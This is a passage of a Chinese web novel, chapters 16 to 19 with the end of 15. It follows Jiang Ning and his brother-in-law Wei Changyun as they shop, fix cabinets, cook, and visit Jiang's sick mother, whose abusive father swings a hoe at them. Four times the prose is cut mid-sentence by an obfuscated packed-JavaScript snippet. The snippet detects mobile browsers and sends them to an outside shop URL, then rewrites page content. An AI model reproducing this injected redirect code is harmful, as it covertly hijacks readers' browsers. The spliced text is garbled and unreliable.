从桥边离开,姜宁看卫长昀身上的背篓,笑道:“每次出来,你都当苦力,累了吧?” 卫长昀摇头,“不会。” “不要逞强。”姜宁蹙了下眉,“我们好歹也算一家人,我还年长你一岁,在我面前不用逞强了,几十斤的东西背一个时辰山路,不累才怪。” 今天他背了十斤,到最后他都出现幻觉了,感觉能看到太奶接他。 四十斤,得有两袋大米那么沉。 卫长昀抿唇,道:“以前——” 姜宁截断他的话,语气温和,“不是不让你做事,但你累了就要说,今天路上要我不说休息,你是不是就一直背着走了?” “没有。”卫长昀答得飞快。 姜宁叹了口气,“算了,你这孩子的脾气可真倔。” 卫长昀想说他不是孩子,可没机会,因为姜宁已经凑到肉铺前,问老板骨头怎么卖。 错过了解释的时机,后面就再提不起这话茬。 姜宁买了半斤猪排骨,放进了背篓里,转头问:“书铺在哪?你的笔墨是不是都在那儿买?” “家里还有。”卫长昀一下反应过来他的意思,“不着急买。” 姜宁半信半疑道:“真的?” 卫长昀表情一下严肃,道:“我从不说谎骗人。” “那回家吧,反正家里不缺什么。”姜宁说完,看他还一脸严肃,“我信你说的。” 他说完,卫长昀的表情才放松下来。 其实姜宁是担心,卫长昀这段时间跟着他又是种地、又是卖土豆片,耽误了功课。 万一真是个状元之才,被他折腾得连个举人都中不了,他的罪过可就大了。 古代的状元,可比他高考六百多分难多了。 回村里得从另一头出去,姜宁和卫长昀走过桥,走在东街的路上,两边铺子和西街全然不同,更别说到街上招揽客人,一副井井有条的景象。 上回来姜宁只是好奇,这次却多了些打量,暗暗观察起这些铺子的位置来。 有的位置好,生意却不怎么样,有的位置偏,却客人络绎不绝。 唯一可以解释的理由就是,东西的差异。 正巧经过一家茶馆,姜宁往里瞅了瞅,想着有没有可能给这些食肆、茶馆、酒楼提供原材,达成长期合作的话,收益会稳定些。 谁知才看了一眼,就见两个人走了出来,吓得他赶紧收回了视线。 “早就该那么做了,陈三那种流氓痞子,无赖得很,你打他,他还要去衙门告你,反咬你一口。” “是该听兄长的,我以为息事宁人,结果差点留下祸患,还好及时赶到,不过里正与我一道去了县衙,我们出银钱悬赏通缉,他应该是不敢回来了。” “他那样的人,自生自灭才是,本就是个无赖。” 里正就是乡长、镇长之类的乡官,但不拿朝廷俸禄,一般多是县府自行发放。 说话声逐渐远了,姜宁才回过神,下意识看向身边卫长昀,两人对视一眼,不约而同想到了赵秋。 同名同姓的人不少,可一样是无赖的就不多了。 听那两人的话,陈三是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13691091|143458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 犯事跑了,不敢回来。 “先回家。”姜宁镇定道:“接小小和小宝的时候,正好跟秋哥儿说下这事。” 卫长昀“嗯”了一声,伸手托了托他身上的背篓,“给我背吗?” 姜宁看他一眼,努努嘴,“我没那么弱,走吧走吧,回家了。” 回到村里,他俩一起去赵秋家接人。 才到院子外,小小和小宝看见他俩,立即跑了出来,一脸高兴。 “宁哥哥!” “二哥!” “今天听话吗?”姜宁摸摸小小的脸蛋,“趁着天气好,等会儿给你洗头。” 小小喜欢黏着姜宁,他说什么都是好。 卫长昀被小宝缠着要糖,说没有,也不闹,只是缠着他要抱,让卫长昀拉着手,慢慢跟他讲道理。 “你们回来这么早?”赵秋放下手里的衣服,“没碰上什么事吧?我爹和大哥都还没回。” 姜宁摇头,左右看看,压低了声音,“我们回来时,听到别人说,陈三犯事跑了,官府还通缉,怕不会回来了。” 赵秋脸上的斑斑点点还在,看着怪唬人。 吃惊道:“真的?” “听着是他,不过可以到镇上找信得过的人打边鼓,问问,确定下。”姜宁说完,从衣袖内兜里摸了个东西出来,“给你带的,头绳。” 赵秋摆手要拒绝,被姜宁硬塞到手里。 “都有呢,小小也有。”姜宁比划了下,“那我们回去了,天好,得晒晒被子。” 又在门口聊了几句,才领着俩小的一起回家。 到家卸下背篼,剩下的土豆片装碗里,摆上桌给俩小的吃。 排骨被姜宁放到了厨房里,看了看时辰,打算过一会儿再炖汤,这会儿还早。 姜宁从房间里抱着被子出来,见卫长昀还在牵绳,艰难探出头,“那绳子顺着堂屋方向牵,不然一会儿进进出出,不方便。” “这样?”卫长昀试着牵了一下,看姜宁点头,又问:“牵几根?” “三根吧。”姜宁把被子横着挂好,用力拍了拍,发现薄薄的被子,根本没什么好拍的,心里暗暗庆幸,倒春寒快过了,等清明一过,很快就会入夏。 要换成冬天,这被子根本不顶用。 家里被子全翻出来,也就六床,还是加上床褥子的。多一床多没有,但凡多住个人,都分不出被子。 全部晾好后,厨房灶上的热水也烧好了。 姜宁打了一盆热水,往里兑凉的,水温适合,拿出之前摘的芝麻叶,往院子里放张凳子。 盆搁上边,自己蹲一旁,开始洗头。 这大半个月来,姜宁每次洗头的时候都在想,要是能剪短就好了,多方便啊。 他还是没勇气离经叛道,剪了头发,他得被当成疯子。 洗着洗着,姜宁开始琢磨,要不打个浴桶好了。 今天挣的半贯钱,加上之前的,够用一阵子。 趁着下次赶集前,他得提高提高一下生活质量,比如厨房、比如橱柜,还有这几床薄薄的被子。 还有屋子里灰扑扑的墙。 看着就压抑。 想着想着,姜宁伸手一摸,发现自己忘拿擦布了。 偏过头,朝后边喊,“长昀,帮我拿下擦布,我忘拿了。” 16.第 16 章 炖排骨一定要先焯水,放姜片一起冷水下锅煮开,等水开了,倒入一勺酒,煮到出沫,再把排骨捞出来,清水洗净,放到锅里,跟土豆块、玉米一块放到锅里,盖上盖,炖一个时辰左右。 姜宁头发还半干,弄完后,收拾了下灶台,冲正在院里剥豆角的卫长昀招了招手。 卫长昀放下手里豆角,已经逐渐习惯姜宁这种招呼人的方式。 “你手里的活放一放,我俩把厨房再收一收。”姜宁为了干活,随便找了根发带,松松地绑着。 往前探身跟卫长昀说话,耳边有几根头发散开。 卫长昀不自在地挪了下目光,看向厨房,“收什么?” “柜子啊!”姜宁重重说了句,“那柜子门都关不严实,万一有老鼠进去,东西都不能吃了。” 米和面那些还行,是放在缸子里,先用布封口,再用油纸盖一层,最后再用石头压着,怎么都进不去。 可柜子不一样,柜门但凡关不紧,或者不留心,老鼠就能钻进去。 “我想给柜子加木轴和门栓,这样方便些。”姜宁站在柜子前,把现在的门拉开,“这个有些旧了,而且不灵活,风一吹都能开。” 卫长昀“嗯”了声,“那我去砍些木柴回来,再量了尺寸,送到村里木匠那儿,早的话,明天就能取。” “那麻烦你跑一趟,我正好给小小洗个头。”姜宁冲他一笑,“我屋里的那两口箱子倒是有锁,钥匙也在我那儿,不过放衣服的柜子,也得打副门栓,索性一起打了。” 他俩分工,一个去砍树,另一个在家量尺寸。 约摸过了小半个时辰,姜宁刚给小小洗好头,拿帕子给她擦着,就见卫长昀回来了。 卫长昀放下柴刀,木料竖着靠在竹篱上,站那儿拍身上的碎屑。 姜宁让小小搬凳子去太阳底下晾头发,瞥见小宝挠头,起身擦了擦手,跟卫长昀说:“我给你拿钱。” 他转身进屋,留了个背影给卫长昀。 从钱罐子里一共拿了四十文,多的就当备着,以防不够。 卫长昀拿了钱,揣好了说:“去王木匠那儿经过地里,要不要顺手带点什么? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13703550|143458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 姜宁往厨房看眼,“你看田坎上有没有野葱,有的话摘一点,晚上做蘸水。” 卫长昀一听野葱,愣了下。 姜宁也一怔,试探着说:“苦葱?还是苦蒜……” “苦蒜。”卫长昀看见姜宁眼里的心虚,有些疑惑。 就隔了一座山,坎子村和他们这儿,怪不一样的。 “啊。”姜宁拉着小宝坐小凳子上,“就苦蒜,做蘸水好吃。” 卫长昀点点头,看眼日头,准备抱着木料去王木匠那儿,这样能趁早回,能再干点活。 姜宁心想,差点露馅,一边给小宝洗头一边岔开话题,“你一会儿回来,我也给你洗个头吧。” 卫长昀脚步一顿,回头看向姜宁。 他前日才去河里洗了,也不至于今日就脏了。 姜宁没听到他回应,抬了下头,“对了,你记得还价,别老实巴交的,让人家给坑了。” 卫长昀答应了声,还没走出门,又听见姜宁叫他。 “对了,记得问打一个浴桶要多少钱。” 17.第 17 章 乡里乡亲的,王木匠倒也是个厚道人。 姜宁要的新柜门、门栓加上木轴,总共花了三十五文,是手工费。 浴桶的价格也问到了,二百文。 姜宁听到的时候,正揭锅盖,拿筷子戳里面的土豆块。 “什么?二百文?!”姜宁瞪大眼,扭头看卫长昀,“这么贵啊,那还是算了。” 他倒不是一定要用浴桶,只是除了浴桶,他暂时想不出怎么在家洗澡会方便点。 这段时间他都是打了水,在房间里用帕子擦的。 夏天可以去河里,冬天总不能还去河里吧。 河水再冬暖夏凉,下水、上岸这点时间都能冻得够呛。 卫长昀在厨房外舀水洗了手,才进来帮忙,“要是你想——” 姜宁立即摇头,“不,我不想。” 开玩笑,现在花二百文去买个浴桶,那不如买一斤肉。 “用盆也一样,小小、小宝不就是用盆。”姜宁见他还盯着自己,笑道:“你去擦擦?忙一天了。” 卫长昀:“……” 他脸上表情逐渐变得纠结,过了会儿,问道:“我……身上汗味很重吗?” 姜宁手里勺子差点掉锅里,连忙捏着放一边,把锅盖盖紧了,“你想什么呢,我只是见你忙了大半天,擦擦会舒服一点,没嫌你。” 卫长昀耳根一热,点点头,“那我回房擦擦。” 走出去两步,又折了回来,“苦蒜我在沟里洗过,你再洗一道就行。” “知道了。”姜宁接过来,“去吧去吧,对了头发要用芝麻叶洗,有泡泡。” 卫长昀一怔,又点头。 转身回房时,脑子里却响起姜宁那句话。 ——一会儿你回来,我也给你洗个头吧。 卫长昀自小就比较孤僻,不怎么跟同龄人一起玩。 后来上了学,这村子里没有人家会送哥儿去学堂,镇上的哥儿倒是有私学,但和他们也不在一起。 说起来,姜宁是他接触得最多的哥儿了。 可姜宁跟他想象中的哥儿不一样,大大咧咧的,也不介意跟他喝一壶水、用一块帕子,甚至还会把手搭他肩上。 “小宝,不许弄妹妹的头发。” 沉浸在自己世界里的卫长昀,听到声音抬头,姜宁从厨房出来,拉开小宝的手,表情严肃地说他。 卫长昀什么都没想明白,却不自觉地笑了起来,端着盆进了屋。 - “来了,一人先喝一碗汤。” 姜宁从锅里往外盛汤,“喝完了再吃饭。” 说完,他看向卫长昀,把碗推到他面前,“这碗是你的,这几天跟着我跑东跑西,辛苦了。” 卫长昀愣住,坐下道:“该我做的。” 姜宁一听就知道他心里想岔了,笑了下,自己捧着碗,“也没说你不该做,我也辛苦了。” 玩笑似的一句话,逗得正喝汤的两小孩一起笑了。 哪有人自己说自己辛苦了。 可姜宁这一阵是很辛苦,怎么犒劳都不过分。 小小捧着碗,喝了个饱,吃饭都变慢了些,“宁哥哥,你不会走了吧?” 姜宁正啃骨头,闻言眨了眨眼看过去,含糊问:“我走哪?” 小宝立即接过话,“今天我们在小秋哥哥那儿,隔壁婶子来串门,跟杨婶说的。” 姜宁皱眉,余光扫到卫长昀投来的目光,“说我要娘家去?” “嗯!说……大哥走了,你是寡夫,再过两个月你就可以改嫁了。”小小苦着脸,“宁哥哥,你可不可以不走啊?” 姜宁心里嫌弃,怎么惦记着他改嫁呢? 在自家屋里说就算了,还跑别人家去说,尤其还当着卫家的俩孩子。 说不是存心的,都没人信。 “宁哥哥不走。”姜宁笑着安抚说:“这里就是我家,还能去哪?难道不是啊?” “看,我就说宁哥哥不走,你还不信。” “你那是瞎猜的,我要宁哥哥自己说。” 姜宁瞥了眼卫长昀,两人视线猝不及防撞上,卫长昀飞快低头,端着碗吃饭,佯装无事发生。 真别扭。 明明也想知道他的去留。 “不过明天我跟你们二哥要出去一趟,你们想去杨二爷家里,还是小秋哥哥那儿?” “小秋哥哥那儿。” “你们要去哪儿啊?坎子村吗?” 姜宁放心不下他娘,尤其一想到出嫁前悄悄塞给他的二十文,就冲这,那也不能不管。 不管如何,明日去一趟,亲眼看了才能安心。 “这蘸水,用什么做的?”卫长昀夹了一块排骨,在装着蘸水的碗里沾了沾,咬一口肉,发现辣味和苦蒜的味道,正好中和了肉的腻。 原本这锅排骨汤里放了土豆、玉米,是不会腻的。 可这会儿将将三月下旬,天还凉。哪怕坐在堂屋里吃饭,饭菜一会儿也都温凉了。 肉处理得再好,那也都容易带上肉腥。 姜宁看他好奇,暂时放下心里的事,解释道:“这是糊辣椒,用来做蘸水,只要调得好,蘸鞋底都好吃。” 卫长昀不解,“糊辣椒?” 姜宁一边解释一边喝汤,想尽早养好身体,否则马上就要到春耕的节气,家里地再不多,光靠卫长昀一个人也做不完。 更何况,他还想好好规划下几块地种什么。 总不能天天都吃土豆、玉米的,再好吃,吃一年也得腻了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13716036|143458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “前两天你不是见我放了些干辣椒在灶旁边,不过都烤糊了,今天我一直守着火,烤得刚刚好。”姜宁说话时眼睛亮亮的,“把表面的那一层灰弄干净,再放到石钵里捣碎,就行了。” 卫长昀诧异地又拿土豆块沾了沾,发现还是好吃。 可听姜宁说的,做法怎么比麻辣面还要简单。 连花生和花椒都不用放,也没那么碎。 “好吃。”卫长昀给出了中肯的评价。 姜宁一脸骄傲,“那是当然,不看看谁做的。” 饭后收拾了厨房,又把给小鸡崽添了些水,姜宁这才坐下来,打算等会儿再去洗漱。 夜里风凉,可星星又特别亮。 姜宁坐在房檐外,抬头看着天,心想还是春天好,要是夏天,得被蚊子咬一腿包。 正心里琢磨明天去姜家的事,余光扫到卫长昀屋子的灯亮着,心念一动,起身走了过去。 他现在可是知识储存巅峰,但好一阵没动笔,甚至连书都没得看,现在闲了,挣了点小钱,忽地就想学习了。 “叩叩。” 卫长昀才写了一行字,听到敲门声,习惯道:“谁?” 姜宁出声,“是我。” 卫长昀抬起头,倏地反应过来不是书院。 从前在家里,进出都很少有人敲门,不是扯着嗓子就是直接推门,一时才恍惚了。 他起身给姜宁开门,“嫂嫂有事吗?” 姜宁抬手挠了挠脸,解释道:“我看你屋里灯亮着,想说你是不是在看书。” “没打扰你吧?” 卫长昀诧异看着姜宁,摇头道:“没有,不过是在摹写。” 姜宁想起之前他的字,夸道:“你的字很好看了,不像我的,都认不出来。” 这时卫长昀才把自己的疑惑问出口,“嫂嫂也学过写字?” 闻言姜宁心里警铃大作,大脑飞快运转,“……偷听的,村里有识字的人,我就在一边偷偷学。” 尴尬地笑两声,“胡乱写的。” 姜宁生怕卫长昀再问,岔开话题,“那个,我其实是有事跟你商量。” 卫长昀“嗯”了声,不知是信了没信,只说:“是婶子的事吗?” 姜宁点头,“我想问你,如果……” 他没想这个时候说出来,可话到这里,就得说了,“明天去了,若是阿娘过得不好,我想让她过来住几日。” 先离开那个家,其他的再想办法。 卫长昀一点不惊讶,只思索了片刻,“这里也是嫂嫂的家,不用跟我商量。” 姜宁错愕地抬起眼,才发现短短大半个月,卫长昀似乎都与他一般高了,能平视对方。 过了会儿,他点头一笑,道:“我知道了。” 18.第 18 章 土色的小圆盘里,灯芯跳了跳,光影明明灭灭地落在他们身上。 有那么一会儿,姜宁和卫长昀谁都没说话,像是等着对方开口似的。 姜宁先反应过来,往不大的屋里扫了眼,瞥见桌上的书,“别看太晚了,早些休息。” 卫长昀点头,正要跟姜宁道晚安,忽地想起什么,问:“嫂嫂可要练字?我这儿还有些帖子。” “不了不了,笔墨原本就紧张,你用。”姜宁摆摆手,“等以后条件好了,我再练。” 卫长昀心里才涌上来的失落,又被很快抚平。 不是直接拒绝,还有以后。 说完话,姜宁转身往自己屋里走。 屋里的灯亮起,又很快暗下去,只剩一轮月亮挂在天边,轻盈的光洒在院子里。 这一晚,卫家几个人都睡得很舒坦。 盖着晒得暖烘烘的被子,身上衣服是洗过的,还有香味,也不会半夜再被饿醒。 连梦里,都是暖烘烘的。 第二天,姜宁醒来时,照例卫长昀已经在厨房里忙了。 打着哈欠走进厨房,姜宁往锅里看了看,发现卫长昀用昨晚剩的汤在做汤饭。 “总是麻烦秋哥儿一家也不好,等会儿去的时候,送一包土豆片去。” “今早去地里,你说的香椿发得好,我摘了些。”卫长昀后边的话不用说,也明白了。 他俩想到一起了,不好意思麻烦赵家。 姜宁的确帮了赵秋,可人不能挟恩求报,否则日子久了,总会厌烦的。 平等往来是最好的维护关系法子。 “那一起送去。”姜宁伸个懒腰,去舀水,“下午回来,是不是能顺道去王木匠那儿拿东西?” “昨天说是能拿。”卫长昀看眼天色,算着什么时候出发,“可要拿些东西去?” 姜宁拿着帕子擦脸,听见声,帕子往下挪了一半,一双眼透着困顿,“那去哪?” 卫长昀一时想不到称呼,毕竟他跟姜家人连面都没见过。 亲家之间关系大多都普通,热络的少,但像他们这样的也少,半点往来都没有。 “你是说姜家啊?”姜宁没把那边当家,对他来说就是一群陌生人,还不如赵秋亲近,“带二两糖去吧。” 姜宁不知道这边走亲戚要带什么,按照他家以前的习俗,走亲戚就是白糖、烟跟酒,再不然就是米。 他年纪还小那会儿,村里谁家办席了,送的也都是这些,一包糖或者二十斤米,再送几十块钱。 “我一会儿去装。”卫长昀也没送过,只在大哥丧礼上收过一回。 又太忙,哪里记得住。 这几日相处下来,姜宁处处都安排得很好,现在说送糖,他也不觉得有什么。 等糖包好了,饭也烫好了。 姜宁去叫两个小的起床,卫长昀回了屋里换衣服。 等吃过早饭,收拾收拾出门时,天边已经挂了日头。 赵秋知道双胞胎要来,特地在院子里干活等着。见姜宁和卫长昀领着人来了,立即迎上前。 “你们去这么早,晌午就能回来了吧?”赵秋开了院门,招呼他们进去,“要是耽误也不碍事,小小和小宝在这儿挤挤。” 姜宁说不进去了,趁着凉快赶路。 “能回来,就是去一趟,还能被押在那了?” 赵秋一脸欲言又止,想到姜宁在卫大丧礼上受的委屈,到底担心,“你两个兄长和父亲——” “总归你别跟他们顶撞。” 闻言姜宁冲他笑道:“知道,劳秋哥儿为我操心了。” 赵秋点头,朝卫长昀看眼,“好歹有你家小叔陪着去,在人前,他们也不好为难你。” 赵家二姐嫁在坎子村,所以赵秋比村里其他人对姜家了解得多。 姜宁出嫁前,日子就不好过。 现如今又成了寡夫,姜家都不关心,回去了哪能讨得了好。 “是,这不有长昀跟我一起。”姜宁看向卫长昀,回过头道:“那我们走了,两小的就麻烦你们了。” “没有的事。”赵秋挥手,“路上小心啊。” 姜宁应声,跟卫长昀一块往村口走。 从小河村去坎子村,一路上姜宁心里都揣着事,比平时话要少。 卫长昀本就是个没什么话的,一时间,路上除了山里的鸟叫,显得静悄悄的。 直到快进坎子村,逐渐看见人了,姜宁才从自己思绪里抽身。 “大志家的宁哥儿?” “嗳,这怎么回来了?” 姜宁从前在家里少出门,但在坎子村活了十几年,不可能不认人,这会儿已经认出好几个。 隔壁家的张婶、村头的刘叔、村尾的姜二伯。 “宁哥儿,你怎么回来了啊?”姜二伯扛着锄头从地里走来,“回来看你娘啊?” 姜宁“啊”了声,没否认。 眼前的姜二伯是姜大志的堂哥,因为排行老二,所以他称呼姜二伯。 比起姜大志和他两个哥,姜二伯一家可正常多了,一家四口碰见他还会给他塞点吃的。 姜大志有时候动手、吼骂他娘时,遇见了会说、会拦。 能做到这个份上,在他看来已经是尽力了,毕竟时代有局限性。 “二伯。”姜宁乖乖喊了声,“趁着春耕前回来,忙了怕没时间。” 姜二伯叹了口气,杵着锄头,“你这孩子,命苦。” 怎么不命苦呢? 生来是个体质差的哥儿,难以受孕。家里还有两个兄长,从小就不讨父亲喜欢,出嫁了丈夫当天就没了。 才堪堪十七岁,就过得这么苦。 “我在卫家很好。”姜宁解释了一句,又介绍道:“这是卫家二郎,名唤长昀。” 姜二伯也是去过县里的人,卫长昀少时就入了学堂,一身读书人的气质,跟他们这些泥腿子不一样。 刚一打眼,他就认出来了。 “二伯。”卫长昀朝姜二伯点头示意。 姜二伯应了声,摆摆手,“不耽误你们了,先去家看看,要有空,也去看看你伯娘。” “哎,记得的。”姜宁答应下来,跟卫长昀对视一眼,一起跟姜二伯告辞。 从村口的地里去姜家,要不了多远。 离姜家越近,姜宁心里越是忐忑,他实在拿不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13722352|143458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 准姜大志会不会放人,他娘朱氏的情况到底如何。 “姜宁?” “你回来干什么?家里可没钱给你那早死的男人养小孩。” 姜宁和卫长昀正在门口左右看,身后忽然传来声音,吓他一跳。 等反应过来,姜宁脸色变得难看,余光扫过卫长昀,原本就寡言冷脸的神色更冷了。 姜万贯扛着扁担,从他俩中间挤过来,“怎么?我哪里说错了?哟,这是——” 他不认得卫长昀,因为姜宁出嫁,姜家压根没去人。 姜宁不屑地哼了声,发现他二哥和大哥一样,都是蠢货。 “你哼给谁看?”姜万贯脸一黑,凶道:“反正家里不会给你一文钱,别以为娘偷摸给你二十文的事爹不计较了,你得还。” 姜宁懒得理他,直接问:“娘呢?我是回来看她的。” “在地里干活,你不知道家里几亩地都得翻土啊,不然过一阵怎么撒种。”姜万贯翻个白眼,推开院门进去,“你要去看,就去地里。” 朱氏还病着,就去地里干活了? 姜宁气得磨了磨牙,一脚踢飞脚边的石头,正好打在姜万贯的小腿上。 听他哎哟一声,心里还是不解气。 “姜万贯,娘还在生病,就去地里干活,那你回来干什么?你缺胳膊少腿了?” 姜宁呛他一句,“我也没看你哪断了。” 姜万贯猛然回头,不敢置信地瞪大眼,“姜宁,你疯了?” 姜宁冷哼一声,“是疯了,我不疯谁疯?” “见鬼了!”姜万贯飞快进了院子,“泥人都敢发火了,铁定是中邪了。” 姜宁心里火大,捡起一块石头又往院里扔。听到他二哥痛呼,才稍稍解气,去拉卫长昀的胳膊,“走,去地里。” 卫长昀“嗯”了声,看他气得脸都红了,安慰道:“把人接走就好了。” 正气头上的姜宁听见他安慰,转头看他,心里一松道:“嗯,接我们那儿去。” 到了卫家,虽说也不会闲着等人伺候,但在家照顾两个听话的小孩,可以吃上肉、能养病,总比在姜家强多了吧。 况且,还有他这么个贴心的儿子。 只是人病着都还要下地干活,姜大志那个混蛋,能放朱氏跟他们一起走吗? 姜宁心里暗暗担心起来,悄声叹气,琢磨着办法。 一路去地里,姜宁边走边想办法,等到了地边上,已经走出了一身汗。 从早上起天就阴沉沉的,这会儿更是一层厚厚的云压下来,瞧着要下暴雨。 空气又闷又热,黏糊糊的。 “阿娘!”姜宁站在田埂上,一眼看到穿着蓝色布衣,头戴灰色布巾的妇人。 整个人都很消瘦,回头时脸色看不出精神。 朱氏乍一听到声,还以为听错了,等到第二声近了些,她才不敢相信地转头。 入眼便是姜宁站在田埂那儿,正朝他招手。 朱氏手里的锄头一松,顾不上旁边姜大志在瞪他,几步走过去,“宁哥儿,我的宁哥儿,你回来了?” 姜宁一听,鼻尖瞬时泛酸,抿着唇一脸委屈地点头。 19.第 19 章 姜宁的委屈不是装出来的,是真委屈。 来这儿这么多天,虽然他挺看得开的,可不管是卫家三兄妹,还是赵秋,对他来说都是同龄人。 他还大一些,要照顾人。 卫长昀和他一块担了不少事,也未为难他,却始终不一样。 只有朱氏是不同的,她是长辈。 看到他那瞬间,眼底的情绪和他高中住校回家时,他爸妈的眼神一模一样。 朱氏撑着病弱的身体毫不犹豫走到他面前,拉着他胳膊上下打量,确定他安然无事后,才红着眼圈一下抱住他。 “我的宁哥儿,没事就好。”朱氏喃喃念道,不停地抚着姜宁的背。 姜宁眼泪浅,鼻尖的酸意蔓延开,眼底发热,忍不住埋头在朱氏的肩上,一个劲儿掉眼泪。 “阿娘,我好想你。” “乖哥儿,我的宁哥儿。” 朱氏拍拍他背,“好孩子,你受委屈了。” 姜宁习惯地想撒娇,忽地听到姜大志一嗓子喊起来,抬头瞥了瞥,吸吸鼻子收了那点孩子气。 “你怎么回来了?”姜大志挽着袖子和裤腿,站在地里,“讨债来了?” 姜宁火气“噌”一下冒上来,拉了拉朱氏胳膊,没让她替自己说话。 姜富贵坐在草垛休息,立即撺掇道:“爹,我看他就是来要钱的,还把卫家二小子带来了,这不是来要钱是来要什么?” 姜大志皱着脸,擦了擦汗,问姜富贵,“那是卫家二小子?不是在镇上读书吗?” 姜富贵想起上次赶集碰到他俩,琢磨道:“卫大死了,家里也掏不出几个子,估计宁哥儿被卫二郎忽悠来要钱,供人家上学。” 拿娘家的钱,给婆家小叔子读书? 哪有这个道理! 更别说,那屋里还有两小孩,两张嘴都得吃饭。 回来要钱这事儿,先不说给不给,肯定是有一就有二,哪能开这个先河。 “我回来看阿娘的。”姜宁没理会两人叽叽咕咕说什么,“听说娘病了。” “一点小风寒,有什么好看的。”姜大志一摆手,“地里那么多活还等着人干,别在那儿站着了,赶紧翻土。” 朱氏是嫁到坎子村的,娘家那边儿早就没什么人了,要不然也不会嫁给姜大志。 爹娘走了,兄弟们各自成了家,那还能管她怎么样。 更别说山高路远,来一趟就得一天。 “你们在这边儿等会,等中午了一起去家里。”朱氏性格怯弱,又怕姜大志,低声道:“那边树下凉快,去那儿坐。” 姜宁拉住她手不放,这会儿才觉出朱氏的手发烫,立即去摸她额头,温度高得不正常。 “阿娘,你在发烧!” 卫长昀接话,一边说一边取下背篓,“背篓里有水,给婶子先喝些。” 姜宁点头,扶着朱氏,“阿娘,你歇会儿。” 朱氏忙摇头,握着锄头要过去干活,“娘没事,你别瞎担心,晚上躺会儿就好。” “烧得这么厉害,怎么可能没事?”姜宁拉住她手,往姜大志那边看去,“爹,让大哥去给娘请大夫。” 姜大志叉腰骂道:“请什么大夫?家里几口人吃饭,哪来的钱?” “就一个小毛病还想躺着吃药被人伺候啊?那活谁来干,家谁来养?我都没请过大夫,她请什么!” 这个时辰,周遭还有不少人家都在地里忙活,听到姜大志这几嗓子,纷纷看过来。 朱氏脸皮薄,水才喝了一口,立即就要挣扎着站起来。 “一天天的,活干不了多少,也不挣钱,一会儿一会儿生个病,败家娘们!” “老子天天下地干活,也没见这么爱生病。” 姜宁听姜大志越骂越难听,朱氏脑袋都快埋到衣领里了,朝卫长昀使了个眼色,让他看着朱氏。 “生老病死是人都要经历的,阿娘病了小半月,一直没好,不全怪都因为病没好就忙里忙外干活。” 姜宁声音不大,却字字清晰,“那要能养好,还能拖着一直不好?” 姜宁一句接一句的,周围议论声越来越大。 坎子村里,姜家不至于人人嫌,可姜大志为人抠门,加上性格霸道,跟谁家有了争执,得理不饶人就算了,还没理也强词夺理。 更别说姜富贵和姜万贯,好吃懒做,至今都没成家,要老爹老娘照顾,免不得私下八卦。 “你个兔崽子,反了天了你!”姜大志提着锄头朝姜宁走,“嫁出去一个月,翅膀就硬了?克死了卫大,回来还想骗你爹的钱,混账玩意儿,我打不死你——” 姜宁正想躲开,被旁边姜富贵伸腿一绊,整个人踉跄着站不稳。 躲是躲不开了,姜宁只能匆忙背过身,背上被打,总好过胳膊和脑袋挨一棍。 预想中木棍打在背上的疼没来,反而听到“啪”一声响。 姜宁怔然扭头,只见卫长昀不知道什么时候过来,挡在他们中间,生生用肩膀替他挡了一下。 “姜大志,你干什么!” 姜宁一把拉过卫长昀,“你是不是傻,伤着了没?” 那一棍打下来,力道一点没收着。 卫长昀吃痛,习惯忍了,连声都只闷哼了句。 看见姜宁着急,摇了摇头,小声说了句没事。 “宁哥儿!”朱氏吓得脸色都白了,直接扑到姜宁身上,“伤着你没有?” 姜大志也没想到姜宁没躲开,更没想到卫长昀会过来挡一下,被这么一吼,脑袋懵了懵。 片刻后,又回过神来,面子上挂不住,扯着嗓门骂道:“你跟老子凶什么?你个赔钱货,是个哥儿都生不了,卫大要没死,过几年也得休了你。” 见朱氏抱着姜宁哭,“你哭什么?老子还没死,你给谁哭丧?” 朱氏被骂得浑身一颤,反而被姜宁揽在怀里。 姜宁气得头都晕了,他以前在村里不是没见过家庭不和的,但自己碰上,真是能被气死。 总算明白什么叫,人不要脸天下无敌。 